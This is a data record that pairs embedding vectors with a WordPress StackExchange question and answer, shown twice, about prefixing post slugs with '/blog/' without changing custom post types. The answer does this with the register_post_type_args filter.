0.0237579345703125, -0.006885528564453125, 0.050506591796875, -0.0192413330078125, -0.00015997886657714844, 0.0321044921875, -0.00980377197265625, 0.00490570068359375, -0.01036834716796875, -0.0005488395690917969, -0.051513671875, -0.00778961181640625, -0.00022017955780029297, -0.06365966796875, 0.05926513671875, -0.07965087890625, 0.011810302734375, -0.0426025390625, -0.01885986328125, 0.0029506683349609375, 0.023406982421875, -0.0450439453125, 0.0278472900390625, -0.00812530517578125, -0.058441162109375, 0.046539306640625, 0.02337646484375, -0.044219970703125, -0.007366180419921875, 0.03082275390625, 0.018707275390625, -0.04241943359375, -0.0011758804321289062, -0.01580810546875, 0.0491943359375, -0.01468658447265625, 0.019622802734375, 0.0146026611328125, -0.042724609375, 0.06427001953125, 0.0208892822265625, -0.006732940673828125, 0.031890869140625, 0.0165863037109375, 0.01477813720703125, -0.031005859375, 0.01303863525390625, 0.00852203369140625, -0.037872314453125, -0.00984954833984375, -0.0277099609375, -0.0023441314697265625, -0.0074310302734375, 0.0250244140625, -0.0247955322265625, 0.06707763671875, 0.004364013671875, -0.036041259765625, 0.01678466796875, -0.046478271484375, 0.030975341796875, 0.0226287841796875, -0.00772857666015625, 0.01311492919921875, 0.01018524169921875, -0.00335693359375, -0.053070068359375, -0.035888671875, 0.021575927734375, 0.0204925537109375, -0.01393890380859375, 0.03515625, -0.035064697265625, 0.00632476806640625, 0.0236968994140625, -0.013946533203125, -0.0389404296875, -0.038177490234375, -0.00922393798828125, -0.00872039794921875, 0.0223541259765625, -0.07049560546875, 0.068359375, 0.0390625, -0.0307464599609375, -0.0096893310546875, -0.105224609375, 0.00820159912109375, -0.07904052734375, 0.0106964111328125, 0.013946533203125, 0.0025043487548828125, -0.0090789794921875, 0.12115478515625, 0.0099945068359375, 0.062469482421875, -0.022125244140625, 0.02642822265625, -0.005908966064453125, 0.005702972412109375, 0.020416259765625, 0.0258026123046875, 0.007640838623046875, -0.041168212890625, 0.0015239715576171875, -0.015228271484375, -0.01358795166015625, 0.0067291259765625, 0.00753021240234375, 0.00133514404296875, 0.0146026611328125, 0.01364898681640625, 0.01239013671875, -0.006694793701171875, 0.0097808837890625, 0.0172271728515625, 0.00936126708984375, -0.01641845703125, 0.00821685791015625, 0.023834228515625, 0.018829345703125, -0.00896453857421875, -0.01139068603515625, -0.056182861328125, -0.022369384765625, 0.0278472900390625, -0.0271759033203125, -0.0244140625, -0.0209808349609375, -0.0543212890625, -0.03863525390625, 0.011322021484375, -0.0467529296875, -0.00647735595703125, -0.0184783935546875, -0.02520751953125, 0.0277099609375, 0.005428314208984375, 0.046112060546875, -0.0614013671875, -0.018829345703125, -0.0870361328125, -0.00870513916015625, 0.0258636474609375, 0.02337646484375, -0.053741455078125, 0.0130157470703125, -0.0211639404296875, -0.00795745849609375, -0.00847625732421875, -0.04052734375, -0.036834716796875, -0.03643798828125, 0.0226287841796875, 0.04779052734375, -0.0269927978515625, -0.07073974609375, -0.0099639892578125, -0.0281219482421875, 0.0229034423828125, 0.053314208984375, 0.0281524658203125, 0.06939697265625, -0.0228271484375, 0.09136962890625, 0.0305328369140625, 0.023651123046875, -0.0816650390625, -0.0251922607421875, 0.0198974609375, 0.016510009765625, -0.030517578125, -0.038543701171875, -0.0239715576171875, -0.030181884765625, 0.06781005859375, -0.017578125, -0.005279541015625, 0.01342010498046875, 0.018310546875, -0.019256591796875, -0.031463623046875, 0.019683837890625, -0.0205230712890625, 0.00832366943359375, -0.049530029296875, -0.043701171875, 0.025787353515625, 0.052825927734375, -0.01495361328125, -0.024993896484375, -0.0157318115234375, -0.0013685226440429688, -0.0017375946044921875, 0.013916015625, 0.01345062255859375, -0.04644775390625, 0.0059661865234375, -0.0020465850830078125, 0.0025997161865234375, 0.019378662109375, 0.0308837890625, -0.017669677734375, -0.0260467529296875, 0.04876708984375, 0.017333984375, -0.003231048583984375, 0.0494384765625, -0.00934600830078125, 0.01326751708984375, 0.04193115234375, 0.046417236328125, -0.05902099609375, -0.00426483154296875, -0.0033588409423828125, -0.024505615234375, 0.03460693359375, 0.013031005859375, -0.022613525390625, -0.06744384765625, 0.041351318359375, -0.0250244140625, 0.00439453125, 0.01074981689453125, -0.0154876708984375, -0.00485992431640625, 0.01319122314453125, 0.0134429931640625, -0.00032019615173339844, 0.03326416015625, -0.06494140625, -0.03302001953125, 0.0005574226379394531, -0.0096893310546875, 0.01177978515625, -0.03369140625, 0.00274658203125, -0.02703857421875, -0.01146697998046875, -0.014617919921875, 0.008636474609375, -0.00521087646484375, -0.029083251953125, 0.03045654296875, 0.044921875, -0.01727294921875, -0.006732940673828125, 0.0296478271484375, -0.032562255859375, -0.0732421875, -0.021697998046875, -0.025787353515625, 0.06689453125, -0.0297393798828125, 0.028564453125, -0.029510498046875, 0.0201263427734375, -0.00598907470703125, 0.00901031494140625, 0.06378173828125, -0.045379638671875, -0.0094451904296875, 0.0175018310546875, 0.0243988037109375, 0.00580596923828125, 0.01605224609375, 0.054534912109375, -0.023162841796875, 0.00601959228515625, 0.03289794921875, 0.002971649169921875, -0.026763916015625, 0.02960205078125, -0.029327392578125, -0.0013408660888671875, -0.0157012939453125, -0.01343536376953125, 0.033050537109375, -0.005809783935546875, -0.0124969482421875, -0.02886962890625, -0.0246429443359375, -0.0031147003173828125, -0.0146026611328125, 0.0347900390625, -0.023956298828125, 0.00904083251953125, -0.0082244873046875, 0.0281524658203125, 0.07891845703125, 0.0292205810546875, -0.0780029296875, -0.023681640625, 0.0194854736328125, 0.00827789306640625, -0.01039886474609375, 0.0755615234375, 0.0235443115234375, -0.01277923583984375, 0.07366943359375, -0.01079559326171875, 0.049285888671875, -0.03704833984375, 0.034393310546875, 0.00910186767578125, -0.0026912689208984375, -0.00942230224609375, -0.0178375244140625, 0.025299072265625, -0.0297698974609375, -0.0194854736328125, 0.0172882080078125, -0.01030731201171875, 0.01177215576171875, 0.01032257080078125, 0.007556915283203125, 0.0085906982421875, -0.008331298828125, -0.006633758544921875, 0.033233642578125, 0.0206146240234375, 0.01407623291015625, 0.040496826171875, 0.0273284912109375, 0.055145263671875, -0.006244659423828125, 0.0011205673217773438, -0.00665283203125, 0.005588531494140625, 0.0199127197265625, 0.0355224609375, 0.024200439453125, -0.0017156600952148438, -0.0189361572265625, 0.050872802734375, 0.026641845703125, -0.0202484130859375, -0.0116119384765625, 0.0282135009765625, 0.0203857421875, 0.0005207061767578125, 0.023895263671875, 0.031951904296875, -0.0242919921875, 0.002086639404296875, -0.034912109375, -0.004901885986328125, 0.0171051025390625, 0.0443115234375, -0.005313873291015625, 0.0074462890625, -0.031280517578125, -0.02490234375, -0.024444580078125, -0.004520416259765625, 0.01529693603515625, 0.032745361328125, -0.006000518798828125, 0.0537109375, -0.01531219482421875, -0.00875091552734375, 0.029052734375, 0.0009031295776367188, 0.02801513671875, -0.07763671875, 0.038787841796875, -0.0261688232421875, 0.01389312744140625, -0.004505157470703125, 0.00019109249114990234, -0.029083251953125, 0.004558563232421875, 0.003147125244140625, -0.034149169921875, -0.01447296142578125, 0.038726806640625, -0.0205078125, 0.008056640625, -0.03204345703125, -0.01099395751953125, -0.013336181640625, -0.01493072509765625, -0.0030994415283203125, -0.006771087646484375, 0.0259857177734375, -0.0224761962890625, 0.04669189453125, -0.005252838134765625, 0.021240234375, 0.017974853515625, 0.0169677734375, 0.026885986328125, 0.025634765625, -0.03619384765625, 0.0163726806640625, -0.059600830078125, 0.01479339599609375, -0.01934814453125, -0.0007853507995605469, -0.01084136962890625, 0.056488037109375, -0.007904052734375, -0.0010919570922851562, 0.01227569580078125, 0.00809478759765625, -0.01427459716796875, 0.0123443603515625, 0.0285491943359375, -0.0121917724609375, -0.0013141632080078125, -0.0008311271667480469, 0.008880615234375, 0.0032711029052734375, 0.03448486328125, 0.018890380859375, 0.0183563232421875, 0.018829345703125, -0.04412841796875, -0.0026111602783203125, -0.048553466796875, -0.0718994140625, 0.067138671875, -0.0234222412109375, -0.045196533203125, 0.01230621337890625, -0.01207733154296875, -0.0005087852478027344, 0.048858642578125, -0.00067901611328125, -0.00807952880859375, -0.0100860595703125, 0.0335693359375, -0.0098724365234375, -0.0026702880859375, -0.0305328369140625, -0.01297760009765625, 0.0003132820129394531, -0.0184478759765625, 0.01373291015625, 0.006103515625, 0.03338623046875, 0.0094146728515625, 0.006473541259765625, -0.037994384765625, -0.002452850341796875, 0.01129150390625, 0.0140533447265625, 0.032623291015625, -0.014007568359375, 0.06011962890625, 0.0005893707275390625, -0.01053619384765625, 0.022857666015625, -0.0032367706298828125, -0.018890380859375, -0.0056304931640625, 0.01047515869140625, 0.0540771484375, 0.01395416259765625, 0.027252197265625, -0.023040771484375, -0.01493072509765625, 0.052093505859375, -0.018341064453125, -0.026214599609375, -0.035614013671875, -0.025390625, 0.016510009765625, -0.010040283203125, -0.0080108642578125, 0.041717529296875, -0.053863525390625, -0.006946563720703125, -0.0028400421142578125, 0.00592803955078125, -0.021026611328125, 0.0009455680847167969, -0.007610321044921875, -0.018280029296875, 0.0093994140625, -0.0181121826171875, -0.0341796875, 0.0216827392578125, 0.0228729248046875, -0.0016937255859375, -0.01287078857421875, -0.0229034423828125, 0.0165252685546875, -0.00787353515625, -0.02117919921875, 0.01439666748046875, 0.0047454833984375, -0.03326416015625, -0.04193115234375, -0.044677734375, 0.0033702850341796875, -0.04400634765625, -0.033447265625, 0.01361846923828125, -0.003414154052734375, -0.000041961669921875, -0.028778076171875, -0.0158843994140625, -0.0168914794921875, 0.00008815526962280273, -0.00878143310546875, -0.0008153915405273438, 0.0295562744140625, -0.01047515869140625, 0.007129669189453125, 0.0643310546875, -0.0013170242309570312, -0.0034332275390625, -0.063232421875, 0.03472900390625, 0.011138916015625, -0.031494140625, -0.031341552734375, -0.00243377685546875, -0.0169677734375, 0.028076171875, 0.00225067138671875, 0.0011968612670898438, 0.024078369140625, -0.01523590087890625, -0.05218505859375, 0.0025386810302734375, 0.0017824172973632812, -0.00788116455078125, -0.0177764892578125, -0.0155792236328125, 0.01849365234375, -0.004367828369140625, -0.02655029296875, -0.03997802734375, 0.03228759765625, 0.040740966796875, -0.006443023681640625, 0.00984954833984375, -0.050323486328125, -0.02532958984375, 0.06549072265625, 0.0584716796875, 0.021728515625, -0.00788116455078125, 0.004901885986328125, -0.0033054351806640625, -0.01502227783203125, -0.016265869140625, 0.018280029296875, -0.04791259765625, -0.005218505859375, 0.0074462890625, -0.04693603515625, -0.0186767578125, -0.017852783203125, -0.1036376953125, 0.02850341796875, -0.043670654296875, -0.0022869110107421875, -0.0214080810546875, -0.018798828125, -0.034698486328125, -0.0287322998046875, -0.1005859375, 0.023956298828125, 0.007442474365234375, -0.1090087890625, -0.023193359375, 0.006626129150390625, -0.0243682861328125, -0.00530242919921875, 0.02325439453125, 0.0012073516845703125, 0.032989501953125, -0.01454925537109375, -0.0257568359375, 0.00946044921875, -0.005100250244140625, -0.01139068603515625, -0.01393890380859375, 0.0283660888671875, 0.0054779052734375, -0.0229949951171875, 0.049652099609375, 0.00785064697265625, 0.0609130859375, 0.007110595703125, 0.06817626953125, 0.0050201416015625, -0.041015625, 0.0244598388671875, -0.0501708984375, -0.00858306884765625, -0.00859832763671875, -0.00676727294921875, -0.06201171875, 0.016845703125, 0.0036106109619140625, 0.01131439208984375, 0.0210723876953125 ]
3db06f1f74603a2a6a0217a10120dcd4c0ad982a
Wordpress Stackexchange Q: Prepend regular Posts with custom slug, without affecting Custom Post Types? My company policy is to prepend "/blog/" to our Post slugs. Normally our SEO team will do this via the Custom Permalinks setting (/blog/%postname%), but this has the side effect of pre-pending /blog/ to other Custom Post Types as well. I know I can set the with_front attribute to false when registering Custom Post Types to avoid this issue, but it's quite a pain when Themes add their own Custom Post Types, or if we inherit sites from other developers. Has anyone else run into this issue, and if so, how do you get around it? A: Use the register_post_type_args filter to alter post types registered by code you don't control. You can set it for a specific type: add_filter( 'register_post_type_args', 'wpd_change_post_type_args', 10, 2 ); function wpd_change_post_type_args( $args, $post_type ){ if( 'turnips' == $post_type ){ $args['rewrite']['with_front'] = false; } return $args; } Or remove that $post_type check to change it for all custom types.
Q: Prepend regular Posts with custom slug, without affecting Custom Post Types? My company policy is to prepend "/blog/" to our Post slugs. Normally our SEO team will do this via the Custom Permalinks setting (/blog/%postname%), but this has the side effect of pre-pending /blog/ to other Custom Post Types as well. I know I can set the with_front attribute to false when registering Custom Post Types to avoid this issue, but it's quite a pain when Themes add their own Custom Post Types, or if we inherit sites from other developers. Has anyone else run into this issue, and if so, how do you get around it? A: Use the register_post_type_args filter to alter post types registered by code you don't control. You can set it for a specific type: add_filter( 'register_post_type_args', 'wpd_change_post_type_args', 10, 2 ); function wpd_change_post_type_args( $args, $post_type ){ if( 'turnips' == $post_type ){ $args['rewrite']['with_front'] = false; } return $args; } Or remove that $post_type check to change it for all custom types.
wordpress
{ "language": "en", "length": 166, "provenance": "stackexchange_00019.jsonl.gz:486703", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/305391" }
[ 0.0555419921875, -0.004695892333984375, 0.01282501220703125, -0.0239105224609375, 0.01073455810546875, -0.01641845703125, 0.04669189453125, -0.0269012451171875, -0.025238037109375, -0.00859832763671875, 0.0426025390625, -0.01153564453125, -0.0254669189453125, -0.061065673828125, 0.04522705078125, -0.01812744140625, 0.0262908935546875, -0.0101318359375, 0.032318115234375, -0.0258636474609375, 0.027679443359375, -0.020416259765625, 0.04071044921875, 0.0258941650390625, 0.01120758056640625, -0.01316070556640625, 0.0408935546875, -0.01401519775390625, 0.006526947021484375, -0.016510009765625, 0.0218963623046875, -0.008819580078125, 0.0296630859375, 0.01126861572265625, -0.0233917236328125, 0.0162353515625, 0.00797271728515625, -0.0007853507995605469, 0.012603759765625, 0.004619598388671875, 0.00360870361328125, 0.0007719993591308594, 0.00846099853515625, 0.01114654541015625, 0.0052337646484375, -0.03717041015625, -0.0018863677978515625, -0.072509765625, 0.003345489501953125, -0.01316070556640625, -0.00666046142578125, 0.0303802490234375, 0.015167236328125, -0.017181396484375, -0.0107269287109375, -0.0189971923828125, -0.02984619140625, -0.01366424560546875, 0.0230712890625, 0.00445556640625, -0.0003604888916015625, -0.018280029296875, 0.017303466796875, -0.0110015869140625, 0.005924224853515625, -0.0021800994873046875, -0.007602691650390625, 0.02020263671875, -0.052154541015625, -0.00787353515625, 0.03863525390625, -0.0504150390625, 0.027313232421875, -0.01305389404296875, -0.010345458984375, -0.030792236328125, -0.011444091796875, -0.0101776123046875, 0.02203369140625, -0.0018739700317382812, 0.0267791748046875, -0.0005636215209960938, 0.0294647216796875, -0.048675537109375, 0.0264129638671875, -0.0296783447265625, -0.006114959716796875, -0.0037555694580078125, -0.0192413330078125, -0.032928466796875, -0.0163116455078125, -0.040496826171875, -0.017791748046875, 0.0064239501953125, -0.01470947265625, -0.01751708984375, 0.018890380859375, 0.0154571533203125, 0.025634765625, 0.031463623046875, 0.0173187255859375, -0.0576171875, 0.051910400390625, -0.0469970703125, 0.01459503173828125, 0.044769287109375, -0.00946807861328125, 0.048797607421875, 0.06976318359375, 0.0232391357421875, 0.0350341796875, 0.05548095703125, -0.0038661956787109375, -0.011138916015625, -0.05462646484375, 0.01482391357421875, -0.025177001953125, -0.01288604736328125, -0.008453369140625, 0.01114654541015625, 0.0225830078125, 0.0489501953125, 0.044097900390625, -0.05487060546875, -0.012603759765625, -0.0145721435546875, -0.0240020751953125, -0.07684326171875, 0.007053375244140625, 0.06402587890625, -0.031463623046875, -0.0144195556640625, 0.05328369140625, 0.01055145263671875, 0.0016155242919921875, -0.040985107421875, -0.0009527206420898438, -0.0408935546875, -0.03070068359375, 0.004787445068359375, 0.0192108154296875, -0.04046630859375, -0.033966064453125, -0.0086212158203125, 0.06878662109375, 0.019134521484375, 0.01100921630859375, 0.00873565673828125, 0.0174560546875, 0.034759521484375, 0.01413726806640625, -0.032073974609375, 0.06719970703125, 0.0014410018920898438, -0.04840087890625, -0.038543701171875, 0.0062408447265625, -0.037139892578125, -0.033599853515625, -0.0675048828125, -0.0223541259765625, -0.0289459228515625, -0.004688262939453125, -0.0657958984375, -0.0758056640625, 0.052825927734375, -0.019622802734375, -0.0157623291015625, 0.017333984375, -0.01032257080078125, 0.03021240234375, 0.0034084320068359375, 0.0011014938354492188, 0.0142364501953125, 0.0037784576416015625, 0.0021209716796875, -0.002529144287109375, 0.052764892578125, 0.00997161865234375, 0.044219970703125, 0.0261383056640625, -0.0185089111328125, 0.0733642578125, -0.0163726806640625, -0.08892822265625, 0.0296173095703125, 0.007617950439453125, 0.052001953125, 0.02532958984375, 0.0021800994873046875, 0.06787109375, -0.01163482666015625, -0.0557861328125, 0.007904052734375, -0.03350830078125, -0.01287078857421875, 0.035919189453125, -0.0027141571044921875, -0.003604888916015625, 0.044647216796875, -0.037384033203125, 0.01396942138671875, -0.00795745849609375, 0.0256195068359375, 0.0010099411010742188, 0.0009045600891113281, 0.0017938613891601562, 0.0435791015625, 0.0260162353515625, 0.02313232421875, 0.0163726806640625, 0.0141143798828125, -0.0190582275390625, -0.0033588409423828125, -0.02728271484375, 0.01361846923828125, 0.0018625259399414062, 0.012786865234375, -0.0155181884765625, 0.02935791015625, -0.006805419921875, -0.0308380126953125, -0.02679443359375, 0.01479339599609375, 0.039154052734375, -0.01873779296875, -0.002468109130859375, -0.0261688232421875, -0.0198211669921875, 0.01215362548828125, -0.0771484375, 0.0290069580078125, 0.02734375, -0.0248870849609375, -0.03662109375, 0.0198822021484375, 0.03253173828125, -0.027984619140625, -0.00022351741790771484, 0.038604736328125, 0.025970458984375, 0.0183563232421875, -0.00022661685943603516, 0.01265716552734375, 0.025238037109375, 0.01116943359375, 0.03302001953125, -0.01678466796875, -0.001636505126953125, 0.047515869140625, 0.007465362548828125, 0.027587890625, 0.0032100677490234375, -0.037017822265625, 0.0239105224609375, 0.02301025390625, 0.00876617431640625, -0.0196990966796875, 0.010589599609375, 0.0019550323486328125, 0.007213592529296875, -0.0187530517578125, -0.04681396484375, 0.00455474853515625, 0.00501251220703125, 0.0184783935546875, 0.0181884765625, 0.01806640625, -0.041717529296875, -0.01042938232421875, 0.0302734375, 0.043853759765625, -0.00524139404296875, 0.034393310546875, 0.05194091796875, 0.008148193359375, -0.032867431640625, -0.0036945343017578125, 0.00597381591796875, 0.01352691650390625, -0.0193634033203125, 0.0115814208984375, 0.01434326171875, -0.0024738311767578125, -0.00630950927734375, -0.050872802734375, 0.0270233154296875, 0.00014448165893554688, -0.01380157470703125, -0.0291900634765625, 0.00920867919921875, 0.00783538818359375, -0.0347900390625, 0.017669677734375, 0.011444091796875, -0.0219879150390625, 0.010467529296875, -0.07421875, 0.054779052734375, -0.045928955078125, 0.054931640625, 0.0823974609375, -0.01338958740234375, 0.0230712890625, 0.0010805130004882812, 0.005970001220703125, -0.0290985107421875, 0.044036865234375, 0.0016307830810546875, -0.05242919921875, -0.0140838623046875, 0.01035308837890625, 0.01654052734375, 0.0219879150390625, -0.003570556640625, -0.0249176025390625, 0.013916015625, 0.01873779296875, -0.021392822265625, 0.0025348663330078125, 0.02880859375, -0.040802001953125, -0.01311492919921875, -0.03302001953125, -0.0150604248046875, -0.0057220458984375, -0.016387939453125, -0.0013532638549804688, 0.028228759765625, -0.019744873046875, -0.046478271484375, -0.044281005859375, -0.075927734375, -0.0149688720703125, 0.004665374755859375, 0.0035037994384765625, 0.001018524169921875, 0.05731201171875, 0.00926971435546875, -0.035400390625, 0.0301971435546875, 0.0430908203125, -0.006435394287109375, 0.01062774658203125, 0.0012464523315429688, -0.01611328125, 0.03924560546875, -0.01061248779296875, 0.049224853515625, 0.05426025390625, -0.0313720703125, 0.0009622573852539062, -0.01251983642578125, -0.01263427734375, 0.001865386962890625, 0.03289794921875, 0.023834228515625, -0.00543212890625, 0.017578125, -0.045562744140625, -0.0057373046875, -0.024627685546875, -0.0260467529296875, 0.00954437255859375, 0.00237274169921875, -0.00743865966796875, -0.031005859375, 0.045989990234375, 0.0394287109375, 0.03607177734375, 0.03857421875, 0.00098419189453125, 0.022247314453125, 0.00048041343688964844, 0.0196380615234375, -0.061981201171875, 0.0091094970703125, -0.0210418701171875, 0.0294189453125, 0.007427215576171875, 0.01507568359375, -0.0122222900390625, 0.012542724609375, -0.033172607421875, -0.0816650390625, 0.032928466796875, -0.09918212890625, -0.032684326171875, -0.053741455078125, -0.004131317138671875, -0.0089263916015625, 0.08306884765625, -0.04736328125, 0.0015687942504882812, 0.002323150634765625, 0.0098876953125, 0.020477294921875, -0.041961669921875, -0.039947509765625, -0.0283050537109375, -0.0125579833984375, 0.01458740234375, 0.005573272705078125, -0.01263427734375, -0.0106964111328125, -0.0007076263427734375, -0.00628662109375, -0.0216217041015625, 0.05242919921875, 0.00921630859375, 0.025543212890625, 0.023040771484375, -0.0032520294189453125, 0.025726318359375, -0.056854248046875, 0.004016876220703125, -0.09112548828125, -0.0074462890625, 0.0198974609375, 0.0501708984375, -0.018157958984375, -0.0271453857421875, -0.0308074951171875, 0.038787841796875, 0.028533935546875, -0.006893157958984375, 0.01538848876953125, -0.00800323486328125, -0.0107574462890625, 0.00884246826171875, -0.004791259765625, -0.013458251953125, -0.0009660720825195312, 0.014251708984375, -0.058319091796875, 0.017333984375, -0.0047760009765625, -0.0061798095703125, 0.060638427734375, -0.060211181640625, -0.041473388671875, -0.053863525390625, 0.021270751953125, 0.0198822021484375, -0.0000890493392944336, 0.027069091796875, -0.0595703125, -0.01082611083984375, 0.04632568359375, -0.0193023681640625, 0.00167083740234375, -0.0013322830200195312, 0.0909423828125, 0.0104827880859375, -0.0156402587890625, 0.00090789794921875, 0.0216064453125, 0.0243072509765625, -0.01198577880859375, 0.047698974609375, 0.0243682861328125, 0.0013036727905273438, 0.0237884521484375, -0.00568389892578125, -0.0273590087890625, -0.01166534423828125, 0.036529541015625, 0.007244110107421875, -0.0040283203125, -0.0031452178955078125, -0.028594970703125, 0.033111572265625, 0.048980712890625, -0.006198883056640625, -0.0276641845703125, -0.0298919677734375, 0.06219482421875, -0.0018186569213867188, 0.008087158203125, -0.06097412109375, -0.041107177734375, 0.018798828125, 0.00928497314453125, 0.005176544189453125, 0.0191192626953125, 0.002933502197265625, 0.00930023193359375, -0.02239990234375, 0.0006399154663085938, 0.0265960693359375, 0.007030487060546875, 0.036224365234375, 0.042938232421875, 0.01348114013671875, 0.028564453125, -0.0252227783203125, -0.00615692138671875, 0.0221405029296875, 0.0054473876953125, -0.00562286376953125, -0.04150390625, 0.00008422136306762695, -0.004337310791015625, -0.0068359375, 0.0244598388671875, 0.069091796875, 0.04815673828125, -0.00550079345703125, -0.032806396484375, -0.0352783203125, 0.042938232421875, -0.0654296875, 0.029937744140625, 0.040618896484375, -0.022125244140625, 0.0038471221923828125, -0.0005879402160644531, 0.0406494140625, -0.03582763671875, -0.0191802978515625, 0.00913238525390625, 0.0467529296875, 0.0124969482421875, 0.03900146484375, -0.00884246826171875, -0.031097412109375, 0.0088653564453125, 0.001758575439453125, -0.029937744140625, -0.01349639892578125, 0.0168609619140625, 0.006855010986328125, 0.00653076171875, 0.01030731201171875, 0.017242431640625, 0.013824462890625, -0.0080108642578125, 0.00897979736328125, -0.004878997802734375, -0.02032470703125, -0.019927978515625, 0.0005288124084472656, 0.03521728515625, -0.0178985595703125, -0.0036182403564453125, 0.032806396484375, 0.011505126953125, 0.019744873046875, 0.01418304443359375, -0.01313018798828125, -0.007289886474609375, 0.0107269287109375, 0.031951904296875, -0.006755828857421875, -0.0167999267578125, -0.026702880859375, -0.01727294921875, -0.0162353515625, 0.0010967254638671875, 0.048828125, -0.03216552734375, 0.038726806640625, -0.01203155517578125, 0.005229949951171875, 0.006557464599609375, 0.0225372314453125, 0.0202789306640625, 0.011444091796875, -0.029022216796875, 0.017181396484375, -0.01904296875, 0.0029392242431640625, -0.01404571533203125, -0.03570556640625, -0.02960205078125, -0.018096923828125, 0.0206146240234375, 0.0219573974609375, 0.003780364990234375, -0.0225677490234375, -0.03289794921875, 0.00982666015625, 0.0303497314453125, 0.058258056640625, -0.033355712890625, -0.004329681396484375, 0.0032367706298828125, -0.006229400634765625, -0.03204345703125, -0.0274658203125, 0.0158538818359375, 0.00592803955078125, -0.01385498046875, -0.08807373046875, -0.02801513671875, 0.027313232421875, -0.028045654296875, 0.05853271484375, 0.02716064453125, -0.0008087158203125, 0.039947509765625, -0.0018529891967773438, 0.00588226318359375, -0.0081329345703125, -0.0193939208984375, -0.0277557373046875, 0.0350341796875, 0.0428466796875, 0.0100555419921875, 0.054290771484375, 0.01505279541015625, -0.0074310302734375, -0.0203704833984375, 0.0001398324966430664, 0.004154205322265625, -0.0175933837890625, -0.034454345703125, 0.01678466796875, 0.05596923828125, 0.033447265625, 0.051605224609375, 0.0017595291137695312, 0.0330810546875, 0.01415252685546875, -0.0008296966552734375, 0.00975799560546875, 0.007965087890625, 0.035064697265625, 0.0034961700439453125, 0.006595611572265625, 0.0235137939453125, -0.01178741455078125, 0.0340576171875, 0.08587646484375, 0.07891845703125, -0.1097412109375, 0.006618499755859375, 0.017822265625, 0.0125274658203125, 0.06353759765625, 0.0167999267578125, -0.0026111602783203125, 0.050567626953125, -0.01273345947265625, -0.040069580078125, -0.0255584716796875, 0.016448974609375, 0.033233642578125, -0.0125274658203125, -0.0161285400390625, 0.02386474609375, 0.0118865966796875, 0.0205535888671875, -0.007190704345703125, -0.013458251953125, 0.0038890838623046875, 0.010711669921875, 0.02056884765625, -0.0259552001953125, -0.0242767333984375, -0.044708251953125, -0.006549835205078125, -0.0221405029296875, -0.023651123046875, 0.0389404296875, 0.01004791259765625, 0.0031280517578125, 0.032470703125, -0.01464080810546875, 0.025390625, -0.006000518798828125, -0.0253753662109375, -0.005886077880859375, -0.00957489013671875, 0.003498077392578125, 0.0265350341796875, 0.001758575439453125, 0.00907135009765625, -0.0096588134765625, -0.0192108154296875, -0.025604248046875, -0.055511474609375, 0.0672607421875, -0.060089111328125, 0.0148773193359375, 0.0291290283203125, 0.04510498046875, -0.0186004638671875, -0.0084075927734375, -0.0004353523254394531, -0.06280517578125, -0.04254150390625, -0.01320648193359375, -0.06781005859375, -0.0204620361328125, -0.0296173095703125, -0.07159423828125, 0.1287841796875, 0.01340484619140625, 0.030181884765625, 0.005306243896484375, 0.047607421875, -0.0242462158203125, 0.03179931640625, -0.04547119140625, 0.038665771484375, -0.0247955322265625, 0.0673828125, -0.0595703125, -0.01297760009765625, 0.0127105712890625, 0.037811279296875, 0.05712890625, 0.0168609619140625, -0.030670166015625, 0.00524139404296875, 0.049041748046875, 0.01107025146484375, -0.0168914794921875, 0.056365966796875, -0.0296630859375, 0.037933349609375, 0.0301361083984375, -0.0303802490234375, 0.0228729248046875, 0.0176849365234375, -0.07489013671875, 0.007465362548828125, 0.0241546630859375, 0.03985595703125, -0.00634002685546875, 0.01739501953125, -0.006908416748046875, -0.01605224609375, 0.0304107666015625, -0.03021240234375, 0.002849578857421875, 0.052490234375, 0.064697265625, -0.046051025390625, -0.0224151611328125, -0.03369140625, 0.06097412109375, -0.00611114501953125, 0.00811767578125, -0.006969451904296875, 0.0091552734375, 0.02032470703125, -0.042877197265625, -0.0161590576171875, 0.0262603759765625, -0.0225372314453125, 0.037109375, 0.0305023193359375, 0.0311126708984375, -0.020751953125, 0.0234222412109375, 0.050506591796875, 0.05059814453125, -0.051544189453125, -0.0012836456298828125, 0.0217742919921875, 0.007709503173828125, -0.02093505859375, -0.033355712890625, -0.0221099853515625, -0.055572509765625, -0.0268096923828125, -0.06781005859375, 0.01580810546875, 0.022369384765625, 0.032623291015625, -0.045501708984375, -0.054107666015625, -0.01001739501953125, 0.0051116943359375, -0.0504150390625, -0.006969451904296875, 0.0114288330078125, 0.09796142578125, 0.0372314453125, 0.0389404296875, -0.0276641845703125, -0.040130615234375, -0.007129669189453125, 0.0232391357421875, 0.0022144317626953125, 0.0119476318359375, -0.03070068359375, -0.0275115966796875, 0.0210723876953125, 0.02655029296875, 0.03271484375, 0.02301025390625, 0.039764404296875, -0.0260162353515625, -0.054840087890625, 0.02471923828125, 0.0372314453125, -0.03802490234375, 0.02581787109375, -0.0281524658203125, 0.033905029296875, 0.0234222412109375, -0.00023663043975830078, -0.0200347900390625, 0.00333404541015625, 0.050750732421875, -0.002445220947265625, 0.047882080078125, 0.0021991729736328125, 0.005466461181640625, 0.051239013671875, 0.017974853515625, 0.06689453125, 0.044830322265625, -0.0335693359375, -0.0020160675048828125, -0.03302001953125, -0.092529296875, 0.04534912109375, 0.060302734375, -0.0233612060546875, -0.006969451904296875, 0.010223388671875, -0.005184173583984375, 0.0124359130859375, -0.0183563232421875, 0.01751708984375, 0.00902557373046875, 0.0010395050048828125, 0.0113677978515625, -0.062408447265625, -0.02154541015625, -0.016876220703125, 0.01001739501953125, -0.026153564453125, 0.14990234375, -0.0199127197265625, -0.02496337890625, -0.003932952880859375, 0.01157379150390625, -0.01215362548828125, -0.01165008544921875, -0.01045989990234375, -0.0041656494140625, 0.0201416015625, 0.0029430389404296875, -0.0242156982421875, -0.02728271484375, 0.059173583984375, -0.034698486328125, 0.006626129150390625, -0.03717041015625, 0.029266357421875, -0.038726806640625, -0.0016498565673828125, -0.04132080078125, -0.062103271484375, -0.05810546875, 0.005901336669921875, 0.01110076904296875, 0.014129638671875, -0.031280517578125, 0.060455322265625, 0.0169219970703125, -0.0070953369140625, 0.0121612548828125, -0.06378173828125, 0.008544921875, 0.033966064453125, 0.039459228515625, -0.0189971923828125, 0.00864410400390625, -0.01544189453125, 0.0130157470703125, 0.01544952392578125, 0.02215576171875, 0.0202178955078125, -0.034454345703125, -0.0208892822265625, -0.0134124755859375, 0.0165557861328125, -0.018768310546875, 0.020233154296875, 